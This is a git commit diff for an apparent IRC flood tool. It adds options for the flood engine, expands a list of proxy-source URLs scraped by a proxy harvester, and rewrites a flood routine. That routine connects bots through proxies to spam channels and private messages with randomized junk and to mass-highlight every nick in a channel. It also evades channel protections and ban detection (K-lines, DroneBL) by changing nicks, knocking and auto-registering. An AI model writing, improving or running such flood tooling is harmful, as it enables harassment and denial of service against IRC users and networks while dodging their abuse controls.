This commit is contained in:
Your Name
2021-05-12 08:06:03 +02:00
parent 29675be5a2
commit d3d83e1d90
6 changed files with 237 additions and 138 deletions

View File

@@ -55,18 +55,21 @@ class Config(ComboParser):
section = 'flood'
self.add_item(section, 'server', str, None, 'irc server address', False)
self.add_item(section, 'target', str, '#flood', 'target to flood', False)
self.add_item(section, 'nickserv', str, "nickserv's nickname", '', False)
self.add_item(section, 'nickserv', str, 'nickserv', "nickserv's nickname", False)
self.add_item(section, 'message', str, None, 'message', False)
self.add_item(section, 'threads', int, 1, '# of threads', False)
self.add_item(section, 'register', int, 0, 'register nickname when required', False)
self.add_item(section, 'once', int, 0, 'quit as soon as possible', False)
self.add_item(section, 'hilight', int, 0, 'try to hilight all nicks?', False)
self.add_item(section, 'waitonsuccess', int, 0, 'wait for a while on success', False)
self.add_item(section, 'debug', int, 0, 'use debug', False)
self.add_item(section, 'duration', int, 90, 'maximum time to run ', False)
self.add_item(section, 'delay', int, 14400, 'if waitonsuccess, wait for $delay before sending another bot', False)
self.add_item(section, 'duration', int, 180, 'maximum time to run', False)
self.add_item(section, 'delay', str, 14400, 'if waitonsuccess, wait for $delay before sending other bots', False)
self.add_item(section, 'nick', str, None, 'specify nickname to use', False)
self.add_item(section, 'use_ssl', int, 2, 'Use ssl? (0: false, 1: true, 2: random)', False)
self.add_item(section, 'cycle', int, 0, 'cycle flood', False)
self.add_item(section, 'change_nick', int, 0, 'Change nick between messages (useful when flooding privates)', False)
self.add_item(section, 'use_timeout', int, 0, 'make connexions quit through timeout', False)
self.add_item(section, 'clones', int, 1, 'Number of connexion repeat to run', False)
self.add_item(section, 'noquerybefore', int, 10, 'do not send query before x secs being connected', False)

View File

@@ -1,3 +1,12 @@
https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt
https://raw.githubusercontent.com/KUTlime/ProxyList/main/ProxyList.txt
https://raw.githubusercontent.com/DarlingSh1337/HTTP-SENPAI/main/http.txt
https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt
https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list.txt
https://www.proxy-list.download/SOCKS4
https://www.proxy-list.download/SOCKS5
https://api.proxyscrape.com/?request=getproxies&proxytype=socks5&timeout=10000&country=all
https://api.proxyscrape.com/?request=getproxies&proxytype=http&timeout=10000&country=all
https://hidemy.name/en/proxy-list/
https://hideip.me/en/proxy/socks5list
https://www.proxyrack.com/free-proxy-list/
@@ -2841,26 +2850,7 @@ https://webanetlabs.net/publ/24-86
https://webanetlabs.net/publ/24-87
https://webanetlabs.net/publ/8
https://whoer.net/your-anonymity
https://www.100gbps.club/author/100gbps/
https://www.100gbps.club/category/fresh-free-proxy-list/page/2/
https://www.100gbps.club/proxy/s4.php
https://www.100gbps.club/sock4-fresh-free-proxy-list-03-april-2020-3/
https://www.100gbps.club/sock4-fresh-free-proxy-list-03-april-2020-4/
https://www.100gbps.club/sock4-fresh-free-proxy-list-03-april-2020-5/
https://www.100gbps.club/sock4-fresh-free-proxy-list-04-april-2020-2/
https://www.100gbps.club/sock4-fresh-free-proxy-list-04-april-2020-3/
https://www.100gbps.club/sock4-fresh-free-proxy-list-04-april-2020-4/
https://www.100gbps.club/sock4-fresh-free-proxy-list-04-april-2020/
https://www.100gbps.club/sock4-fresh-free-proxy-list-06-april-2020-2/
https://www.100gbps.club/sock4-fresh-free-proxy-list-06-april-2020-3/
https://www.100gbps.club/sock4-fresh-free-proxy-list-06-april-2020/
https://www.100gbps.club/sock4-fresh-free-proxy-list-07-april-2020-2/
https://www.100gbps.club/sock4-fresh-free-proxy-list-07-april-2020/
https://www.100gbps.club/sock4-fresh-free-proxy-list-08-april-2020-2/
https://www.100gbps.club/sock4-fresh-free-proxy-list-08-april-2020/
https://www.100gbps.club/sock4-fresh-free-proxy-list-10-april-2020/
https://www.100gbps.club/sock4-fresh-free-proxy-list-12-april-2020-2/
https://www.alltechbuzz.net/top-best-free-proxy-sites-servers-2018/
https://www.babaproxy.com/http.php
https://www.babaproxy.com/https.php
https://www.babaproxy.com/socks.php
@@ -2868,7 +2858,6 @@ https://www.codeproject.com/Articles/336/SOCKS-Proxy-SSL-Tunnel
https://www.coderduck.com/free-proxy-list
https://www.dailyfreeproxy.com/feeds/posts/default
https://www.dailyproxylists.com/
https://www.easycounter.com/report/api.proxyscrape.com
https://www.freelists.org/
https://www.freelists.org/about.html
https://www.freelists.org/cat/1
@@ -5420,6 +5409,11 @@ https://www.hybrid-analysis.com/sample/1f56ae49fd416cdcdfb0edfe3ef93b5f609fbfe0a
https://www.listproxy.net/
https://www.maxmind.com/en/high-risk-ip-sample-list
https://www.my-proxy.com/free-anonymous-proxy.html
https://www.my-proxy.com/free-transparent-proxy.html
https://www.us-proxy.org/
https://free-proxy-list.net/
https://www.socks-proxy.net/
https://www.sslproxies.org/
https://www.my-proxy.com/free-elite-proxy.html
https://www.my-proxy.com/free-proxy-list-1.html
https://www.my-proxy.com/free-proxy-list-10.html
@@ -5447,11 +5441,6 @@ https://www.my-proxy.com/free-proxy-list.html?list=s3
https://www.my-proxy.com/free-socks-4-proxy.html
https://www.my-proxy.com/free-socks-5-proxy.html
https://www.my-proxy.com/free-transparent-proxy.html
https://www.naturestherapy101.com/AGkYuVm6
https://www.naturestherapy101.com/CUnKjkCb
https://www.naturestherapy101.com/CzSRGHve
https://www.naturestherapy101.com/JhR1yX4u
https://www.naturestherapy101.com/r2SfTwH9
https://www.newproxys.com/free-proxy-lists/
https://www.npmjs.com/package/proxy-list-random
https://www.npmjs.com/package/proxylist
@@ -5461,12 +5450,24 @@ https://www.proxy24.me/proxy/socks
https://www.proxy24.me/proxy/socks/1
https://www.proxy24.me/proxy/socks/2
https://www.proxy24.me/proxy/socks/3
https://www.proxy24.me/proxy/socks/4
https://www.proxy24.me/proxy/socks/5
https://www.proxy24.me/proxy/socks/6
https://www.proxy24.me/proxy/socks/7
https://www.proxy24.me/proxy/socks/8
https://www.proxy24.me/proxy/socks/9
https://www.proxy24.me/proxy/socks/10
https://www.proxy24.me/proxy/ssl
https://www.proxybridge.com/anonymous-proxy/
https://www.proxybridge.com/anonymous-proxy/page2/
https://www.proxybridge.com/anonymous-proxy/page3/
https://www.proxybridge.com/anonymous-proxy/page4/
https://www.proxybridge.com/anonymous-proxy/page5/
https://www.proxybridge.com/anonymous-proxy/page6/
https://www.proxybridge.com/anonymous-proxy/page7/
https://www.proxybridge.com/anonymous-proxy/page8/
https://www.proxybridge.com/anonymous-proxy/page9/
https://www.proxybridge.com/anonymous-proxy/page10/
https://www.proxybridge.com/proxy-http-distorting/
https://www.proxybridge.com/proxy-http-distorting/?country=at
https://www.proxybridge.com/proxy-http-distorting/?country=br

41
ppf.py
View File

@@ -260,22 +260,35 @@ class Leechered(threading.Thread):
proxy_count = len(self.proxylist)
if self.retrievals == 0: # new site
if content != '' and proxy_count == 0: # site works but has zero proxy addresses
#error = 99999
self.error += 2
else:
if content != '' and len(self.proxylist) == 0: # site works but has zero proxy addresses
self.error += 1
else:
if len(self.proxylist) == 0:
self.stale_count += 1
elif proxy_count > 0:
self.error = 0
self.stale_count = 0
else:
self.error += 2
self.stale_count += 2
else: # not a new site
# proxylist is empty
if proxy_count == 0:
self.stale_count += 1
# proxylist is not empty: site is working
else:
self.stale_count = 0
self.error = 0
# site has no content
if content == '':
self.error += 1
else:
self.retrievals += 1
self.error = 0
self.stale_count += 1
#else:
# self.retrievals += 1
# self.error = 0
# self.stale_count = 0
# site has proxies
if proxy_count:
self.error = 0
self.stale_count = 0
extract_urls(content, self.url)
self.execute = (self.error, self.stale_count, int(time.time()), self.retrievals, self.proxies_added+len(self.proxylist), self.content_type, self.url)
@@ -310,10 +323,10 @@ if __name__ == '__main__':
watcherd = None
#start_server(config.httpd.listenip, config.httpd.port)
#qurl = 'SELECT url,stale_count,error,retrievals,proxies_added,content_type FROM uris WHERE error < ? and (check_time+?+((error+stale_count)*?) <?) ORDER BY RANDOM() LIMIT 25'
qurl = 'SELECT url,stale_count,error,retrievals,proxies_added,content_type FROM uris WHERE error < ? and (check_time+?+((error+stale_count)*?) <?) ORDER BY RANDOM()'
#qurl = 'SELECT url,stale_count,error,retrievals,proxies_added,content_type FROM uris WHERE stale_count < ? and (check_time+?+((error+stale_count)*?) <?) ORDER BY RANDOM()'
threads = []
rows = []
rinc = 0
@@ -333,9 +346,9 @@ if __name__ == '__main__':
time.sleep(60)
rows = []
else:
nao = time.time()
_log('handing %d job(s) to %d thread(s)' % ( len(rows), config.ppf.threads ), 'ppf')
args = [ (nao, row[0]) for row in rows ]
#nao = time.time()
#args = [ (nao, row[0]) for row in rows ]
#urldb.executemany('UPDATE uris SET check_time=? where url=?', args)
#urldb.commit()
@@ -362,7 +375,7 @@ if __name__ == '__main__':
t = Leechered(row[0], row[1], row[2], row[3], row[4], row[5])
threads.append(t)
t.start()
time.sleep(random.random()/100)
#time.sleep(random.random()/100)
except KeyboardInterrupt:
if watcherd:

View File

@@ -57,16 +57,16 @@ def socks4_resolve(srvname, server_port):
def has_been_lined(recv):
recv = recv.lower()
badkw = [ 'banned', 'not welcome', 'dronebl', 'sectoor', 'kline', 'bot/proxy', 'proxy/drone', 'efnetrbl' ]
badkw = [ 'not welcome', 'dronebl', 'sectoor', 'kline@', 'bot/proxy', 'proxy/drone', 'efnetrbl' ]
for bkw in badkw:
if bkw in recv: return True
return False
def randcrap(msg):
if not '%RANDCRAP%' in msg: return msg
chars = string.ascii_letters + string.punctuation
while '%RANDCRAP%' in msg:
crap = ''
chars = string.ascii_letters + string.punctuation
for i in range( random.randint(1,5)):
if len(crap): crap = '%s ' %crap
crap = '%s%s' %(crap, ''.join(random.choice(string.ascii_letters) for x in range(random.randint(1,10))))
@@ -74,38 +74,57 @@ def randcrap(msg):
return msg.lower()
def ischan(c):
if '%' in c or '#' in c: return True
if '%' in c or '#' in c or '&' in c: return True
return False
def flood(sock):
nick = random.choice(nicklist)
if config.flood.nick: nick = config.flood.nick
else: nick = random.choice(nicklist)
global has_joined
if config.flood.message is not None:
msgs = config.flood.message.split(';')
msgs = [ randcrap(msg) for msg in msgs ]
#msgs = [ randcrap(msg) for msg in msgs ]
chans = ','.join( [ i for i in config.flood.target.split(',') if ischan(i) ] )
nicks = ','.join( [ i for i in config.flood.target.split(',') if not ischan(i) ] )
chans = [ i for i in config.flood.target.split(',') if ischan(i) ]
nicks = [ i for i in config.flood.target.split(',') if not ischan(i) ]
if len(chans) > 4: chans = random.choice(chans, 4)
if len(nicks) > 4: nicks = random.choice(nicks, 4)
if len(chans): print('chans: %s' %','.join(chans))
if len(nicks): print('nicks: %s' %','.join(nicks))
sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, nick, nick, nick))
cycle = random.choice([0,1]) if config.flood.cycle == 2 else config.flood.cycle
ticks = time.time()
sent_ping = False
#ret = True
ret = False
connected = False
sentquery = False
global is_target_protected
global default_threads
global waitonsuccess
hilight = {}
while True:
if config.flood.duration > 0:
if (time.time() - ticks) > config.flood.duration: break
elif waitonsuccess: break
recv = sock.recvline()
if not len(recv):
elif not len(chans) and not len(nicks):
print('no chan nothing')
ret = True
break
try:
recv = sock.recvline()
except:
break
if not len(recv): break
elif not ' 372 ' in recv:
print(recv.strip())
_log(recv.strip(), nick)
if has_been_lined(recv):
ret = False
break
@@ -117,87 +136,144 @@ def flood(sock):
if sent_ping: continue
sock.send('%s\r\n' % recv.replace('PING', 'PONG'))
sent_ping = True
else:
_split = recv.split(' ')
# irc welcome message
if _split[1] == '001':
send = []
if config.flood.change_nick and config.flood.message is not None and len(nicks):
for i in range(config.flood.change_nick): send.append('PRIVMSG %s :%s\r\nNICK %s\r\n' %(nicks, random.choice(msgs), random.choice(nicklist)))
if len(chans):
send.append('JOIN %s\r\nPRIVMSG %s :%s\r\n' % (chans, config.flood.target, random.choice(msgs)))
if len(send):
print( '001: sending %s' % '\r\n'.join(send))
sock.send('\r\n'.join(send))
continue
elif recv.startswith('HTTP'): break
# end of names list (joined a chan)
elif _split[1] == '366':
ret = True
send = []
c = _split[3]
if not c in has_joined:
has_joined.append( c )
#elif config.flood.message is not None:
# send.append('PRIVMSG %s :%s' %(config.flood.target, random.choice(msgs)))
if config.flood.cycle:
if config.flood.message is not None:
send.append('PART %s\r\nJOIN %s\r\nPRIVMSG %s :%s' %(c,c,c,random.choice(msgs)))
else:
send.append('PART %s\r\nJOIN %s' %(c,c))
if config.flood.once:
send.append('QUIT')
if len(send):
sock.send('\r\n'.join(send) + '\r\n')
print('366 sent: %s' %'\r\n'.join(send))
if config.flood.waitonsuccess:
print('bots should now wait')
waitonsuccess = time.time()
# nick reseverd or already used
elif _split[1] == '432' or _split[1] == '433':
sock.send('NICK %s\r\n' % random.choice(nicklist))
# code 500
elif _split[1] == '500':
if 'too many join request' in recv.lower():
time.sleep(3)
sock.send('JOIN %s\r\n' % _split[3])
# chan +i
elif _split[1] == '473':
if is_target_protected is not None: break
is_target_protected = time.time()
default_threads = config.flood.threads
config.flood.threads = 1
print('target is protected (+i), aborting')
break
# banned from chan
elif _split[1] == '404':
if 'banned' in recv.lower(): sock.send('KNOCK %s\r\n' % _split[3])
# user or chan sets mode +R
elif _split[1] == '477' or _split[1] == '531':
if not config.flood.register:
is_target_protected = time.time()
default_threads = config.flood.threads
config.flood.threads = 1
print('target is protected (+R), aborting')
break
sock.send('PRIVMSG %s :nick register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick))
time.sleep(1)
if '#' in config.flood.target:
sock.send('JOIN %s\r\n' %config.flood.target)
# flood in PVs
if connected and (time.time() - connected) > config.flood.noquerybefore and len(nicks):
if not sentquery or (time.time() - sentquery) > 60:
print('sending queries ?')
if config.flood.change_nick and config.flood.message is not None:
for i in range(config.flood.change_nick):
sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(','.join(nicks), randcrap(random.choice(msgs)), random.choice(nicklist)))
time.sleep(0.3)
elif config.flood.message is not None:
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs)))
sock.send('PRIVMSG %s :%s\r\n' % (','.join(nicks), randcrap(random.choice(msgs))))
sentquery = time.time()
_split = recv.split(' ')
if _split[1] == 'PONG':
time.sleep(1)
sock.send('PING %d\r\n' % round(time.time() - connected))
# irc welcome message
elif _split[1] == '001':
connected = time.time()
send = []
send.append('PING :%d' %random.random())
## spam chans on connect
if len(chans):
send.append('JOIN %s' % ','.join(chans))
if config.flood.message:
send.append('PRIVMSG %s :%s' % (','.join(chans), randcrap(random.choice(msgs))))
if cycle:
if config.flood.message:
send.append('PART %s :%s' %(','.join(chans), randcrap(random.choice(msgs))))
else:
send.append('PART %s' %','.join(chans))
## spam nicks on connect
if len(nicks) and config.flood.message and connected and (time.time() - connected) > config.flood.noquerybefore:
if config.flood.change_nick:
for i in range(config.flood.change_nick): send.append('PRIVMSG %s :%s\r\nNICK %s' % (','.join(nicks), randcrap(random.choice(msgs)), random.choice(nicklist)))
else:
send.append('PRIVMSG %s :%s' % (','.join(nicks), randcrap(random.choice(msgs))))
if len(send):
print( '001: sending %s' % '\r\n'.join(send))
sock.send('\r\n'.join(send) + '\r\n')
# end of names list (joined a chan)
elif _split[1] == '366':
ret = True
send = []
c = _split[3]
if config.flood.hilight:
hl = ''
for n in hilight[c]:
if len(hl): hl = '%s %s' %(hl, n)
else: hl = n
if len(hl) >= 200: break
send.append('PRIVMSG %s :%s' %(c,hl))
if not c in has_joined:
has_joined.append(c)
if not c in chans:
chans.append(c)
if cycle:
if config.flood.message is not None:
send.append('JOIN %s\r\nPRIVMSG %s :%s\r\nPART %s :%s' %(c,c,randcrap(random.choice(msgs)),c, randcrap(random.choice(msgs))))
else:
send.append('JOIN %s\r\nPART %s' %(c,c))
if config.flood.once:
send.append('QUIT')
if len(send):
sock.send('\r\n'.join(send) + '\r\n')
print('366 sent: %s' %'\r\n'.join(send))
if config.flood.waitonsuccess:
print('bots should now wait')
waitonsuccess = time.time()
# nick/chan not found
elif _split[1] == '403':
ret = True
if _split[3] in chans: chans.remove(_split[3])
elif _split[3] in nicks: nicks.remove(split[3])
# nick reseverd or already used
elif _split[1] == '432' or _split[1] == '433':
nick = random.choice(nicklist)
sock.send('NICK %s\r\n' % nick)
elif _split[1] == '353':
if not _split[4] in hilight: hilight[_split[4]] = []
for n in _split[5:]:
if n.startswith(':'): n = n.strip(':')
if n.startswith('@'): continue
if n.startswith('%'): continue
if n.startswith('+'): n = n.strip('+')
hilight[_split[4]].append(n)
# code 500
elif _split[1] == '500':
if not ret: ret = True
if 'too many join request' in recv.lower():
time.sleep(10)
sock.send('JOIN %s\r\n' % _split[3])
# chan +i
elif _split[1] == '473':
if not ret: ret = True
sock.send('KNOCK %s\r\n' % _split[3])
if _split[3] in chans: chans.remove( _split[3] )
# banned from chan
elif _split[1] == '404':
if not ret: ret = True
if _split[3] in chans: chans.remove( _split[3] )
# user or chan sets mode +R
elif _split[1] == '477' or _split[1] == '531':
if not ret: ret = True
if not config.flood.register:
if _split[3] in chans: chans.remove(_split[3])
elif _split[3] in nicks: nicks.remove(_split[3])
print('target "%s" is protected (+R)' % _split[3])
else:
sock.send('PRIVMSG %s :register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick))
time.sleep(1)
#if '#' in config.flood.target:
if len(chans):
sock.send('JOIN %s\r\n' % ','.join(chans))
if config.flood.message is not None:
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, randcrap(random.choice(msgs))))
if config.flood.once: sock.send('QUIT\r\n')
try: sock.disconnect()
@@ -221,7 +297,11 @@ class WorkerJob():
#global waitonsuccess
#if self.proxy in badlist: return False
if config.flood.waitonsuccess and waitonsuccess is not None:
if (time.time() - waitonsuccess) < config.flood.delay: return True
if not '-' in config.flood.delay:
if (time.time() - waitonsuccess) < int(config.flood.delay): return True
else:
s = config.flood.delay.split('-')
if (time.time() - waitonsuccess) < random.randint(int(s[0]), int(s[1])): return True
srvname = config.flood.server
protos = ['http', 'socks5', 'socks4'] if self.proto is None else [self.proto]

View File

@@ -129,8 +129,8 @@ class WorkerJob():
self.failcount += failinc
return
try:
#recv = sock.recv(6)
recv = sock.recvline()
recv = sock.recv(6)
#recv = sock.recvline()
# good data
if re.match('^(:|NOTICE|ERROR)', recv, re.IGNORECASE):
@@ -149,7 +149,6 @@ class WorkerJob():
recvstats = "".join([x if x in string.printable and ord(x) > 32 else '.' for x in recv])
_log('%s://%s (%s) d: %.2f sec(s);%s srv: %s; recv: %s' % (proto, self.proxy, self.country, duration, torstats, srv, recvstats), 'xxxxx')
else:
print('bad data: %s' %recv.strip())
self.failcount += 1
except KeyboardInterrupt as e:
raise e
@@ -384,7 +383,6 @@ class Proxywatchd():
if self.threads[random.choice(xrange(len(self.threads)))].jobcount() == 0:
self.collect_unfinished()
if not len(self.jobs):
print('jobs are done ?')
self.collect_work()
if not self.submit_collected() and self.tor_safeguard:
_log("zzZzZzzZ sleeping 1 minute(s) due to tor issues - consider decreasing thread number!", "watchd")
@@ -396,6 +394,7 @@ class Proxywatchd():
if len(self.jobs) < len(self.threads):
# allow threads enough time to consume the jobs
sleeptime = 10
#if len(self.jobs) >= len(self.threads):
if len(self.jobs):
_log("handing out %d jobs to %d thread(s)"% (len(self.jobs), len(self.threads)), 'watchd')
jpt = len(self.jobs)/len(self.threads)

View File

@@ -322,9 +322,12 @@ class Rocksock():
s = ''
c = '\0'
while c != '\n':
try:
c = self.recv(1)
if c == '': return s
s += c
except Exception as e:
raise e
return s
def recvuntil(self, until):